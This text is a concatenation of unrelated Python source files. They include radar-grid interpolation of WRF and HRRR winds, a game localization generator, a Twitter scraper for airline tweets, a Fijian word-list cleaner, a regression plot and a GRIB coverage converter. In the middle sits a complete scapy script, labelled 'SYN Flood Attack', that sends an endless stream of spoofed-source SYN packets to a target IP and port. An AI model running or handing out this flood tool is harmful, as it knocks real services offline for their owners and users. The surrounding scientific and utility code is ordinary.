    y_stag = (y[:, 1:, :] + y[:, :-1, :]) / 2.0

    W_wrf = np.squeeze(W_wrf[timestep[0], :, :, :])
    V_wrf = np.squeeze(V_wrf[timestep[0], :, :, :])
    U_wrf = np.squeeze(U_wrf[timestep[0], :, :, :])

    w = griddata(
        (z_stag, y, x), W_wrf, (new_grid_z, new_grid_y, new_grid_x), fill_value=0.0
    )
    v = griddata(
        (z, y_stag, x), V_wrf, (new_grid_z, new_grid_y, new_grid_x), fill_value=0.0
    )
    u = griddata(
        (z, y, x_stag), U_wrf, (new_grid_z, new_grid_y, new_grid_x), fill_value=0.0
    )
    u_dict = {"data": u, "long_name": "U from WRF", "units": "m/s"}
    v_dict = {"data": v, "long_name": "V from WRF", "units": "m/s"}
    w_dict = {"data": w, "long_name": "W from WRF", "units": "m/s"}
    Grid.add_field("U_wrf", u_dict, replace_existing=True)
    Grid.add_field("V_wrf", v_dict, replace_existing=True)
    Grid.add_field("W_wrf", w_dict, replace_existing=True)

    return Grid

def add_hrrr_constraint_to_grid(Grid, file_path, method="nearest"):
    """
    This function will read an HRRR GRIB2 file and create the constraining
    u, v, and w fields for the model constraint

    Parameters
    ----------
    Grid: Py-ART Grid
        The Py-ART Grid to use as the grid specification. The HRRR values
    will be interpolated to the Grid's specficiation and added as a field.
    file_path: string
        The path to the GRIB2 file to load.
    method: str
            Interpolation method: 'nearest' for nearest neighbor,
            'linear' for linear.

    Returns
    -------
    Grid: Py-ART Grid
        This returns the Py-ART grid with the HRRR u, and v fields added.
    """

    if CFGRIB_AVAILABLE is False:
        raise RuntimeError(
            (
                "The cfgrib optional dependency needs to be "
                + "installed for the HRRR integration feature."
            )
        )

    the_grib = cfgrib.open_file(
        file_path, filter_by_keys={"typeOfLevel": "isobaricInhPa"}
    )

    # Load the HRRR data and tranform longitude coordinates
    grb_u = the_grib.variables["u"]
    grb_v = the_grib.variables["v"]
    grb_w = the_grib.variables["w"]
    gh = the_grib.variables["gh"]

    lat = the_grib.variables["latitude"].data[:, :]
    lon = the_grib.variables["longitude"].data[:, :]
    lon[lon > 180] = lon[lon > 180] - 360

    # Convert geometric height to geopotential height
    EARTH_MEAN_RADIUS = 6.3781e6
    gh = gh.data[:, :, :]
    height = (EARTH_MEAN_RADIUS * gh) / (EARTH_MEAN_RADIUS - gh)
    height = height - Grid.radar_altitude["data"]

    radar_grid_lat = Grid.point_latitude["data"]
    radar_grid_lon = Grid.point_longitude["data"]
    radar_grid_alt = Grid.point_z["data"]
    lat_min = radar_grid_lat.min() - 1
    lat_max = radar_grid_lat.max() + 1
    lon_min = radar_grid_lon.min() - 1
    lon_max = radar_grid_lon.max() + 1
    lon_r = np.tile(lon, (height.shape[0], 1, 1))
    lat_r = np.tile(lat, (height.shape[0], 1, 1))
    lon_flattened = lon_r.flatten()
    lat_flattened = lat_r.flatten()
    height_flattened = gh.flatten()
    the_box = np.where(
        np.logical_and.reduce(
            (
                lon_flattened >= lon_min,
                lat_flattened >= lat_min,
                lon_flattened <= lon_max,
                lat_flattened <= lat_max,
            )
        )
    )[0]

    lon_flattened = lon_flattened[the_box]
    lat_flattened = lat_flattened[the_box]
    height_flattened = height_flattened[the_box]

    u_flattened = grb_u.data[:, :, :].flatten()
    u_flattened = u_flattened[the_box]
    if method == "nearest":
        u_interp = NearestNDInterpolator(
            (height_flattened, lat_flattened, lon_flattened), u_flattened, rescale=True
        )
    elif method == "linear":
        u_interp = LinearNDInterpolator(
            (height_flattened, lat_flattened, lon_flattened),
            u_flattened,
            rescale=True,
        )
    else:
        raise NotImplementedError("%s interpolation not implemented!" % method)

    u_new = u_interp(radar_grid_alt, radar_grid_lat, radar_grid_lon)

    v_flattened = grb_v.data[:, :, :].flatten()
    v_flattened = v_flattened[the_box]
    if method == "nearest":
        v_interp = NearestNDInterpolator(
            (height_flattened, lat_flattened, lon_flattened), v_flattened, rescale=True
        )
    elif method == "linear":
        v_interp = LinearNDInterpolator(
            (height_flattened, lat_flattened, lon_flattened), v_flattened, rescale=True
        )
    v_new = v_interp(radar_grid_alt, radar_grid_lat, radar_grid_lon)

    w_flattened = grb_w.data[:, :, :].flatten()
    w_flattened = w_flattened[the_box]
    if method == "nearest":
        w_interp = NearestNDInterpolator(
            (height_flattened, lat_flattened, lon_flattened), w_flattened, rescale=True
        )
    elif method == "linear":
        w_interp = LinearNDInterpolator(
            (height_flattened, lat_flattened, lon_flattened), w_flattened, rescale=True
        )
    w_new = w_interp(radar_grid_alt, radar_grid_lat, radar_grid_lon)

    new_grid = deepcopy(Grid)

    u_dict = {"data": u_new, "long_name": "U from HRRR ", "units": "m/s"}
    v_dict = {"data": v_new, "long_name": "V from HRRR ", "units": "m/s"}
    w_dict = {"data": w_new, "long_name": "W from HRRR ", "units": "m/s"}

    new_grid.add_field("U_hrrr", u_dict, replace_existing=True)
    new_grid.add_field("V_hrrr", v_dict, replace_existing=True)
    new_grid.add_field("W_hrrr", w_dict, replace_existing=True)

    # Free up memory
    del grb_u, grb_v, grb_w, lat, lon
    del the_grib
    gc.collect()
    return new_grid


from typing import Optional, List

from .types import LanguageConfig, ModifierType, ResourceStr, PRODUCES_ADD, PRODUCES_MULT, \
    UPKEEP_MULT, UPKEEP_ADD, EconomicCategoryKey, COST_MULT, COST_ADD
from .utils import Writer, generate_resource_loc

def _unpack_resource_id(resource: ResourceStr):
    return resource if isinstance(resource, str) else resource[0]

def _get_loc_from_args(economic_category_loc: str, modifier_type: ModifierType, args: list):
    if len(args) and isinstance(args[-1], dict):
        if modifier_type.split('_')[-1] in args[-1]:
            return args[-1][modifier_type.split('_')[-1]]
    return economic_category_loc

def _should_write_custom_add(args: list, resource: ResourceStr, modifier_type: ModifierType):
    if isinstance(resource, list) and len(resource) == 3:
        if not modifier_type.replace('add', 'mult') in resource[2]:
            return True
    return 'mult' in args[-1] if len(args) and isinstance(args[-1], dict) else False

def _generate_modifier_localization_key(economic_category: EconomicCategoryKey, modifier_type: ModifierType,
                                        resource: Optional[ResourceStr] = None):
    return f"mod_{economic_category}_{_unpack_resource_id(resource) + '_' if resource else ''}{modifier_type}"

def _resource_has_modifier_type(resource: ResourceStr, modifier_type: ModifierType):
    if isinstance(resource, list) and len(resource) == 3:
        return modifier_type in resource[2]
    return True

def _generate_resource_mult_modifier(
        writer: Writer, economic_category: EconomicCategoryKey, modifier_type: ModifierType,
        template: str, economic_category_loc: str, args: list, resource: Optional[ResourceStr] = None):
    writer.write_localization(
        _generate_modifier_localization_key(economic_category, modifier_type, resource),
        template.format(
            *args,
            resource=generate_resource_loc(resource) if resource else None,
            category=_get_loc_from_args(economic_category_loc, modifier_type, args)
        ),
    )

def _generate_resource_add_modifier(
        writer: Writer, economic_category: EconomicCategoryKey, modifier_type: ModifierType,
        template: str, economic_category_loc: str, args: list, resource: Optional[ResourceStr] = None):
    if _should_write_custom_add(args, resource, modifier_type):
        writer.write_localization(
            _generate_modifier_localization_key(economic_category, modifier_type, resource),
            template.format(
                *args,
                resource=generate_resource_loc(
                    resource),
                category=_get_loc_from_args(economic_category_loc, modifier_type, args)
            ),
        )
    else:
        writer.write_localization(
            _generate_modifier_localization_key(economic_category, modifier_type, resource),
            f"${_generate_modifier_localization_key(economic_category, modifier_type.replace('add', 'mult'), resource)}$",
        )

def _get_resources(resources: List[ResourceStr], args: list):
    if len(args) and isinstance(args[-1], dict):
        if 'resources' in args[-1]:
            return [r for r in resources if r in args[-1]['resources'] or isinstance(r, list) and r[0] in args[-1]['resources']]
    return resources

def generate_modifiers(writer: Writer, config: LanguageConfig, resources: list[ResourceStr]):
    for economic_category, (economic_category_loc, template_key, *args) in config['economic_categories'].items():
        template = config['templates'][template_key]
        with writer.with_spacer():
            writer.write_comment(
                f"{economic_category} - {economic_category_loc}{f' - {args}' if len(args) > 0 else ''}")

            writer.write_localization(
                f"mod_base_{economic_category}",
                f"{economic_category_loc}",
            )

            with writer.with_spacer():
                for key in template:
                    if 'generic' in key:
                        _generate_resource_mult_modifier(
                            writer, economic_category, key.split('_')[-1] + '_mult',
                            template[key], economic_category_loc, args
                        )
        for key in template:
            if 'resource' in key:
                modifier_type: ModifierType = key.split('_')[-1] + '_mult'
                with writer.with_spacer():
                    for resource in _get_resources(resources, args):
                        if _resource_has_modifier_type(resource, modifier_type):
                            _generate_resource_mult_modifier(
                                writer, economic_category, modifier_type,
                                template[key], economic_category_loc, args, resource
                            )

                modifier_type: ModifierType = key.split('_')[-1] + '_add'
                with writer.with_spacer():
                    for resource in _get_resources(resources, args):
                        if _resource_has_modifier_type(resource, modifier_type):
                            _generate_resource_add_modifier(
                                writer, economic_category, modifier_type,
                                template[key], economic_category_loc, args, resource
                            )

def generate_buildings_loc(writer: Writer, config: LanguageConfig):
    for key, (loc, template_key) in config['districts_and_buildings'].items():
        template = config['templates'][template_key]
        with writer.with_spacer():
            writer.write_localization(
                f"mod_planet_{key}_build_speed_mult",
                template['build_speed'].format(
                    building=loc
                ),
            )
            writer.write_localization(
                f"mod_{key}_max",
                template['max_add'].format(
                    building=loc
                ),
            )


#!/usr/bin/python3

import argparse
from os import system
from sys import stdout
from scapy.all import *
from random import randint

def get_args():
    parser = argparse.ArgumentParser(description='SYN Flood Attack --- Press CTRL+C to stop the attack!')
    parser.add_argument('--ip', required=True)
    parser.add_argument('--port', type=int, default=23)
    args = parser.parse_args()
    return args

def randomIP():
    ip = ".".join(map(str, (randint(0,255)for _ in range(4))))
    return ip

def SYN_Flood(dstIP, dstPort):
    global total
    total = 0
    while True:
        sourcePort = randint(1000,9000)
        sequence = randint(1000,9000)
        window  = randint(1000,9000)

        IP_Packet = IP()
        IP_Packet.src = randomIP()
        IP_Packet.dst = dstIP

        TCP_Packet = TCP()
        TCP_Packet.sport = sourcePort
        TCP_Packet.dport = dstPort
        TCP_Packet.flags = "S"
        TCP_Packet.seq = sequence
        TCP_Packet.window = window

        send(IP_Packet/TCP_Packet, verbose=0)
        total+=1

def main():
    args = get_args()
    dstIP = args.ip
    dstPort = args.port
    SYN_Flood(dstIP,dstPort)

if __name__== '__main__':
    try:
        main()
    except KeyboardInterrupt:
        stdout.write("\nTotal packets sent: %i\n" % total)
        try:
            sys.exit(0)
        except SystemExit:
            os._exit(0)


import tweepy
from tweepy import OAuthHandler
from tweepy import API

C_KEY = ''
C_SECRET = ''
A_TOKEN_KEY = ''
A_TOKEN_SECRET = ''

auth = tweepy.OAuthHandler(C_KEY, C_SECRET)
auth.set_access_token(A_TOKEN_KEY, A_TOKEN_SECRET)
api = tweepy.API(auth)

keyword = '@delta'
keyword2 = 'delta airlines'
keyword3 = 'american airlines'
keyword4 = 'united airlines'
keyword5 = 'southwest airlines'
posts = api.search(q=keyword,count=3200)
posts2 = api.search(q=keyword2,count=3200)
posts3 = api.search(q=keyword3,count=3200)
posts4 = api.search(q=keyword4,count=3200)
posts5 = api.search(q=keyword5,count=3200)

with open('delta.csv', 'w') as f:
    for tweet in posts:
        f.write(str(tweet.created_at))
        f.write(str(tweet.text.encode("utf-8")))
        f.write('\n')
    for tweet in posts2:
        f.write(str(tweet.created_at))
        f.write(str(tweet.text.encode("utf-8")))
        f.write('\n')
with open('american.csv', 'w') as f:
    for tweet in posts3:
        f.write(str(tweet.created_at))
        f.write(str(tweet.text.encode("utf-8")))
        f.write('\n')
with open('united.csv', 'w') as f:
    for tweet in posts4:
        f.write(str(tweet.created_at))
        f.write(str(tweet.text.encode("utf-8")))
        f.write('\n')
with open('southwest.csv', 'w') as f:
    for tweet in posts5:
        f.write(str(tweet.created_at))
        f.write(str(tweet.text.encode("utf-8")))
        f.write('\n')


#! /usr/bin/env python3
# -*- coding:utf-8 -*-

'''
cleans the an crubadan corpus for fijian a bit.

all consonant-final words are removed.
all words with 'h' are removed.

then english words are identified by intersecting list with Celex.

hyphens, hashtags, ampersands removed. spaces added.
'''

import os,sys, itertools

basepath = os.path.dirname(os.getcwd())

celex = os.path.join(basepath, 'shona', 'shona_wd_corpus', 'celex_word_freq.txt')

english = []

with open(celex, 'r', encoding='utf-8') as f:
    for line in f:
        word = line.split('\\')[1]
        english.append(word.lower())
    english = set([x for x in english if len(x)>2 and not "'" in x])

fiji_raw = []
fiji_cons = ['n', 's', 'k', 'm', 'r', 'v', 'y', 'g', 'd', 't', 'q', 'l', 'j', 'w', 'c', 'b', 'f', 'h', 'p', "'"]

clusters = [''.join(x) for x in itertools.product(fiji_cons, repeat=2)]
clusters.remove('dr')
print(clusters)

with open(os.path.join(basepath, 'fijian', 'fj-words.txt'), 'r', encoding='utf-8') as f:
    for line in f:
        cluster = False
        word = line.strip().split(' ')[0].lower().strip('@#')
        for clust in clusters:
            if clust in word:
                cluster = True
        if (not cluster) and (not word=='') and (not 'h' in word) and (word[-1] in ['a','e','i','o','u']):
            fiji_raw.append(word)
    fiji_raw = set(fiji_raw)

print(len(english & fiji_raw))
fijian = fiji_raw - english

print(len(fijian))

with open(os.path.join(basepath, 'fijian', 'fijian_crubadan.txt'), 'w', encoding='utf-8') as f:
    for word in sorted(list(fijian)):
        f.write(' '.join(list(word.replace('-','')))+ '\n')


from matplotlib import pyplot as plt
from GradientByHand import renew_lrbyhand
from GradientDescentUpdateModel import renew_gradientdescent
from MultiScikit import renew_multivariate

def plot():
    ypoints = []
    for i in range(50):
        ypoints.append(i)
    byhandpoints = []
    gradient, bias = renew_lrbyhand()
    for i in range(0, 50):
        byhandpoints.append((i * gradient + bias))
    gradient, bias = renew_gradientdescent()
    gdpoints = []
    for i in range(0, 50):
        gdpoints.append((i * gradient + bias))
    plt.figure()
    By_Hand = plt.plot(ypoints, byhandpoints, label='By Hand')
    gd_line = plt.plot(ypoints, gdpoints, label='Gradient Descent')
    plt.legend()
    plt.title('Plots')
    plt.xlabel('Wind Speed/ KmpH')
    plt.ylabel('Predicted Swell Height/ m')
    fig = plt.gcf()
    fig.savefig('Images\plot.png')

plot()


import copy

from config_manager import ConfigManager
from lib import arrow
from master.error.validate_exception import RecipeValidationException
from util.gdal_util import MAX_RETRIES_TO_OPEN_FILE
from util.time_util import DateTimeUtil, execute_with_retry_on_timeout
from util import list_util
from master.evaluator.evaluator_slice import GribMessageEvaluatorSlice
from master.evaluator.sentence_evaluator import SentenceEvaluator
from master.helper.point_pixel_adjuster import PointPixelAdjuster
from master.helper.user_axis import UserAxisType
from master.helper.user_axis import UserAxis
from master.helper.user_band import UserBand
from master.importer.axis_subset import AxisSubset
from master.importer.interval import Interval
from master.importer.slice import Slice
from master.provider.data.file_data_provider import FileDataProvider
from master.provider.metadata.coverage_axis import CoverageAxis
from master.provider.metadata.grid_axis import GridAxis
from master.provider.metadata.irregular_axis import IrregularAxis
from master.provider.metadata.regular_axis import RegularAxis
from master.helper.regular_user_axis import RegularUserAxis
from recipes.general_coverage.abstract_to_coverage_converter import AbstractToCoverageConverter
from master.error.runtime_exception import RuntimeException
from util.crs_util import CRSAxis
from util.file_util import File

from util.grib_util import grib_open

class GRIBMessage:
    def __init__(self, id, axes):
        """
        A representation of a grib message
        :param int id: the id of the message
        :param list[UserAxis] axes: the axes corresponding to this message
        """
        self.id = id
        self.axes = axes

    def to_json(self):
        """
        Translates the message to the petascope expected json dict
        :rtype: dict
        """
        axes = []
        for axis in self.axes:
            axes.append(axis.to_json())
        return {
            "messageId": self.id,
            "axes": axes
        }

class GRIBToCoverageConverter(AbstractToCoverageConverter):
    DEFAULT_DATA_TYPE = "Float64"
    MIMETYPE = "application/grib"
    RECIPE_TYPE = "grib"

    GRIB_MESSAGES_FILTER_BY_SETTING = "filterMessagesMatching"

    def __init__(self, resumer, default_null_values, recipe_type, sentence_evaluator, coverage_id, bands, files, crs, user_axes, tiling,
                 global_metadata_fields, local_metadata_fields, bands_metadata_fields, axes_metadata_fields,
                 metadata_type,
                 grid_coverage, pixel_is_point, import_order, session):
        """
        Converts a grib list of files to a coverage
        :param resumer: Resumer object
        :param default_null_values: list of null values from ingredient files if specified
        :param recipe_type: the type of recipe
        :param SentenceEvaluator sentence_evaluator: the evaluator for wcst sentences
        :param str coverage_id: the id of the coverage
        :param list[UserBand] bands: the name of the coverage band
        :param list[File] files: a list of grib files
        :param str crs: the crs of the coverage
        :param list[UserAxis] user_axes: a list with user axes
        :param str tiling: the tiling string to be passed to wcst
        :param dict global_metadata_fields: the global metadata fields
        :param dict local_metadata_fields: the local metadata fields
        :param dict bands_metadata_fields: the bands metadata fields
        :param dict axes_metadata_fields: the axes metadata fields
        :param str metadata_type: the metadata type
        :param boolean grid_coverage: check if user want to import grid coverage
        :param boolean pixel_is_point: check if netCDF should be adjusted by +/- 0.5 * resolution for each regular axes
        :param import_order: ascending(default), descending if specified in ingredient file
        """
        AbstractToCoverageConverter.__init__(self, resumer, recipe_type, sentence_evaluator, import_order, session)
        self.resumer = resumer
        self.default_null_values = default_null_values
        self.sentence_evaluator = sentence_evaluator
        self.coverage_id = coverage_id
        self.bands = bands
        self.files = files
        self.crs = crs
        self.user_axes = user_axes
        self.tiling = tiling
        self.global_metadata_fields = global_metadata_fields
        self.local_metadata_fields = local_metadata_fields
        self.bands_metadata_fields = bands_metadata_fields
        self.axes_metadata_fields = axes_metadata_fields
        self.metadata_type = metadata_type
        self.grid_coverage = grid_coverage
        self.pixel_is_point = pixel_is_point

        # dataSet of a processing grib file
        self.dataset = None
        self.data_type = None
        self.session = session

        ConfigManager.mime_type = self.MIMETYPE

    def _file_band_nil_values(self, index):
        """
        This is used to get the null values (Only 1) from the given band index if one exists when nilValue was not defined
        in ingredient file
        :param integer index: the current band index to get the nilValues (GRIB seems only support 1 band)
        :rtype: List[RangeTypeNilValue] with only 1 element
        """
        if len(self.files) < 1:
            raise RuntimeException("No files to import were specified.")

        if self.default_null_values is not None:
            return self.default_null_values

        # NOTE: all files should have same bands's metadata
        try:
            nil_value = self.dataset.message(1)["missingValue"]
        except KeyError:
            # missingValue is not defined in grib file
            nil_value = None

        if nil_value is None:
            return None
        else:
            return [nil_value]

    def _evaluated_messages_to_dict(self, evaluated_messages):
        """
        Converts a list of messages to json friendly data structure
        :param list[GRIBMessage] evaluated_messages: the messages to convert
        :rtype: list[dict]
        """
        out_messages = []
        for message in evaluated_messages:
            for user_axis in message.axes:
                # Translate time axis in to ISO date as Petascope will only parse dateTime format
                if user_axis.type == UserAxisType.DATE:
                    user_axis.interval.low = DateTimeUtil.get_datetime_iso(user_axis.interval.low)
                    if user_axis.interval.high is not None:
                        user_axis.interval.high = DateTimeUtil.get_datetime_iso(user_axis.interval.high)

            out_messages.append(message.to_json())
        return out_messages

    def _collect_evaluated_messages(self, grib_file):
        """
        Returns the tuple of:
        - The list of evaluated_messages (NOTE: not contain actual GRIB messages) for all grib_messages
        - The first actual GRIB message from the input grib_file for collecting local metadata
        :param String grib_file: path to a grib file
        :rtype: (list[GRIBMessage], grib_message)
        """
        # NOTE: grib only supports 1 band
        band = self.bands[0]

        file_path = grib_file.filepath
        self.dataset = grib_open(file_path)
        evaluated_messages = []
        collected_evaluated_messages = []

        first_grib_message = None

        # Message id starts with "1"
        for i in range(1, self.dataset.messages + 1):
            grib_message = self.dataset.message(i)
            if i == 1:
                first_grib_message = grib_message

            is_message_to_select = True
            if band.filterMessagesMatching is not None:
                for grib_key, user_input_value in band.filterMessagesMatching.items():
                    if grib_key not in grib_message._all_keys:
                        raise RecipeValidationException("Key: " + grib_key + " of setting: "
                                                        + self.GRIB_MESSAGES_FILTER_BY_SETTING
                                                        + " does not exist in the input GRIB files.")
                    else:
                        grib_value = grib_message[grib_key]
                        if user_input_value not in grib_value:
                            # Here, a message doesn't contain GRIB key with value which should contain user's input value
                            # then, this message is not selected to import
                            is_message_to_select = False
                            break

            if is_message_to_select is False:
                continue

            axes = []
            # Iterate all the axes and evaluate them with message
            # e.g: Long axis: ${grib:longitudeOfFirstGridPointInDegrees}
            #      Lat axis: ${grib:latitudeOfLastGridPointInDegrees}
            # Message 1 return: Long: -180, Lat: 90
            # Message 2 return: Long: -170, Lat: 80
            # ...
            # Message 20 return: Long: 180, Lat: -90
            for user_axis in self.user_axes:
                # find the crs_axis which are used to evaluate the user_axis (have same name)
                crs_axis = self._get_crs_axis_by_user_axis_name(user_axis.name)

                # NOTE: directPositions could be retrieved only when every message evaluated to get values for axis
                # e.g: message 1 has value: 0, message 3 has value: 2, message 5 has value: 8,...message 20 value: 30
                # then, the directPositions of axis is [0, 2, 8,...30]
                # the syntax to retrieve directions in ingredient file is: ${grib:axis:axis_name}
                # with axis_name is the name user defined (e.g: AnsiDate?axis-label="time" then axis name is: time)
                self.evaluator_slice = GribMessageEvaluatorSlice(grib_message, grib_file)
                evaluated_user_axis = self._user_axis(user_axis, self.evaluator_slice)

                # When pixelIsPoint:true then it will be adjusted by half pixels for min, max internally (recommended)
                if self.pixel_is_point is True:
                    PointPixelAdjuster.adjust_axis_bounds_to_continuous_space(evaluated_user_axis, crs_axis)
                else:
                    # translate the dateTime format to float
                    if evaluated_user_axis.type == UserAxisType.DATE:
                        evaluated_user_axis.interval.low = arrow.get(evaluated_user_axis.interval.low).float_timestamp
                        if evaluated_user_axis.interval.high:
                            evaluated_user_axis.interval.high = arrow.get(evaluated_user_axis.interval.high).float_timestamp
                    # if low < high, adjust it
                    if evaluated_user_axis.interval.high is not None \
                        and evaluated_user_axis.interval.low > evaluated_user_axis.interval.high:
                        evaluated_user_axis.interval.low, evaluated_user_axis.interval.high = evaluated_user_axis.interval.high, evaluated_user_axis.interval.low
                evaluated_user_axis.statements = user_axis.statements
                axes.append(evaluated_user_axis)

            # e.g. 2d for 2m_dewpoint_temperature
            band_name = grib_message["shortName"]
            if band_name == band.identifier:
                evaluated_messages.append(GRIBMessage(i, axes))

            collected_evaluated_messages.append(GRIBMessage(i, axes))

        if len(evaluated_messages) == 0:
            # NOTE: in case, input file has only 1 band, but user defined random band identifier (backward compatibility),
            # instead of the one from shortName then, this collect every available messages from the input files
            if len(collected_evaluated_messages) > 0:
                evaluated_messages = collected_evaluated_messages
            else:
                raise RuntimeException("Grib file '" + grib_file.filepath + "' does not contain any selected messages to import.")

        return evaluated_messages, first_grib_message

    def _axis_subset(self, grib_file, evaluated_messages, crs_axis):
        """
        Returns an axis subset using the given crs axis in the context of the grib file
        :param File grib_file: the current grib file (slice) is evaluated
        :param List[GirbMessages] evaluated_messages: all Grib messages was evaluated
        :param CRSAxis crs_axis: the crs definition of the axis
        :rtype AxisSubset
        """
        # first grib message from grib file, used to extract grib variables only
        first_grib_message = self.dataset.message(1)

        # As all the messages contain same axes (but different intervals), so first message is ok to get user_axis
        first_user_axis = self._get_user_axis_in_evaluated_message(evaluated_messages[0], crs_axis.label)
        # NOTE: we don't want to change this user_axis belongs to messages, so clone it
        user_axis = copy.deepcopy(first_user_axis)
        # Then, we calculate the geo, grid bounds, origin, resolution of this axis for the slice
        self._set_low_high(evaluated_messages, user_axis)

        high = user_axis.interval.high if user_axis.interval.high is not None else user_axis.interval.low
        origin = PointPixelAdjuster.get_origin(user_axis, crs_axis)

        if isinstance(user_axis, RegularUserAxis):
            geo_axis = RegularAxis(crs_axis.label, crs_axis.uom, user_axis.interval.low, high, origin, crs_axis)
        else:
            # after all messages was evaluated, we could get the direct_positions of the axis as in netcdf
            # then, it can evaluate the grib sentence normally, e.g: ${grib:axis:level} + 5
            evaluating_sentence = user_axis.directPositions
            direct_positions = self._get_axis_values(evaluated_messages, user_axis)
            # convert all of values in the list to string then it can be evaluated
            direct_positions = list_util.to_list_string(direct_positions)
            evaluator_slice = GribMessageEvaluatorSlice(first_grib_message, grib_file, direct_positions)
            user_axis.directPositions = self.sentence_evaluator.evaluate(evaluating_sentence, evaluator_slice, user_axis.statements)

            # axis is datetime
            if user_axis.type == UserAxisType.DATE:
                if crs_axis.is_time_day_axis():
                    coefficients = self._translate_day_date_direct_position_to_coefficients(user_axis.interval.low,
                                                                                user_axis.directPositions)
                else:
                    coefficients = self._translate_seconds_date_direct_position_to_coefficients(user_axis.interval.low,
                                                                                user_axis.directPositions)
            else:
                # number axis like Index1D
                coefficients = self._translate_number_direct_position_to_coefficients(user_axis.interval.low,
                                                                                user_axis.directPositions)

            self._update_for_slice_group_size(self.coverage_id, user_axis, crs_axis, coefficients)

            geo_axis = IrregularAxis(crs_axis.label, crs_axis.uom, user_axis.interval.low, high, origin,
                                     coefficients, crs_axis)
        grid_low = 0
        grid_high = PointPixelAdjuster.get_grid_points(user_axis, crs_axis)
        # NOTE: Grid Coverage uses the direct intervals as in Rasdaman
        if self.grid_coverage is False and grid_high > grid_low:
            grid_high -= 1
        grid_axis = GridAxis(user_axis.order, crs_axis.label, user_axis.resolution, grid_low, grid_high)
        if user_axis.type == UserAxisType.DATE:
            self._translate_decimal_to_datetime(user_axis, geo_axis)

        return AxisSubset(CoverageAxis(geo_axis, grid_axis, user_axis.dataBound),
                          Interval(user_axis.interval.low, user_axis.interval.high))

    def _set_low_high(self, messages, user_axis):
        """
        Set the (geo) low, highfor an axis in the context of a grib file
        :param list[GRIBMessage] messages: a list of messages represented by a list of user axes
        :param UserAxis user_axis: the user_axis need to calculate these values
        :param CrsAxis crs_axis: the crs which is set to the axis (e.g: lat:epsg:4326, t:ansidate)
        """
        values = self._get_axis_values(messages, user_axis)
        low = values[0]

        user_axis.interval.low = low
        if user_axis.dataBound is True:
            high = values[len(values) - 1]
            user_axis.interval.high = high

    def _get_axis_values(self, messages, user_axis):
        """
        Return all the different values from user_axis by iterating all messages from message id: 1 ... n
        NOTE: it is also the direct_positions (i.e: the list of different values for irregular axis) from messages
        :param list[GRIBMessage] messages: the evaluated messages
        :param UserAxis user_axis: the irregular user_axis to get the list of positions
        :return: list of values
        """
        # only store the different values of axis for all messages (i.e: find the min,.....,max value from each axis)
        values = []
        for message in messages:
            for axis in message.axes:
                if axis.name == user_axis.name:
                    low = axis.interval.low
                    if low not in values:
                        values.append(low)
                    if axis.interval.high:
                        high = axis.interval.high
                        if high not in values:
                            values.append(high)

        # make sure no values are incorrect order (i.e: max,..,min) which is not supported for coefficients
        values.sort()

        return values

    def _get_user_axis_in_evaluated_message(self, message, crs_axis_name):
        """
        Get the user_axis from first message by axis_name
        :param Grib_Message message: first evaulated message
        :param Str crs_axis_name: Crs axis name (e.g: lat, lon, time)
        :return: User_Axis user_axis
        """
        for user_axis in message.axes:
            if user_axis.name == crs_axis_name:
                return user_axis

    def _create_coverage_slice(self, grib_file, crs_axes, evaluator_slice=None, axis_resolutions=None):
        """
        Returns a slice for a grib file
        :param File grib_file: the path to the grib file
        :param list[CRSAxis] crs_axes: the crs axes for the coverage
        :param FileEvaluatorSlice evaluator_slice
        :param list[number] axis_resolutions
        :rtype: Slice
        """
        evaluated_messages, first_grib_message = self._collect_evaluated_messages(grib_file)
        axis_subsets = []

        # Build slice for grib files which contains all the axes (i.e: min, max, origin, resolution of geo, grid bounds)
        for i in range(0, len(crs_axes)):
            crs_axis = crs_axes[i]
            axis_subset = self._axis_subset(grib_file, evaluated_messages, crs_axis)
            axis_subsets.append(axis_subset)

        # Generate local metadata string for current coverage slice
        # This is used only for collecting local metadata
        evaluator_slice.grib_message = first_grib_message
        local_metadata = self._generate_local_metadata(axis_subsets, evaluator_slice)

        return Slice(axis_subsets, FileDataProvider(grib_file, self._evaluated_messages_to_dict(evaluated_messages)),
                     local_metadata)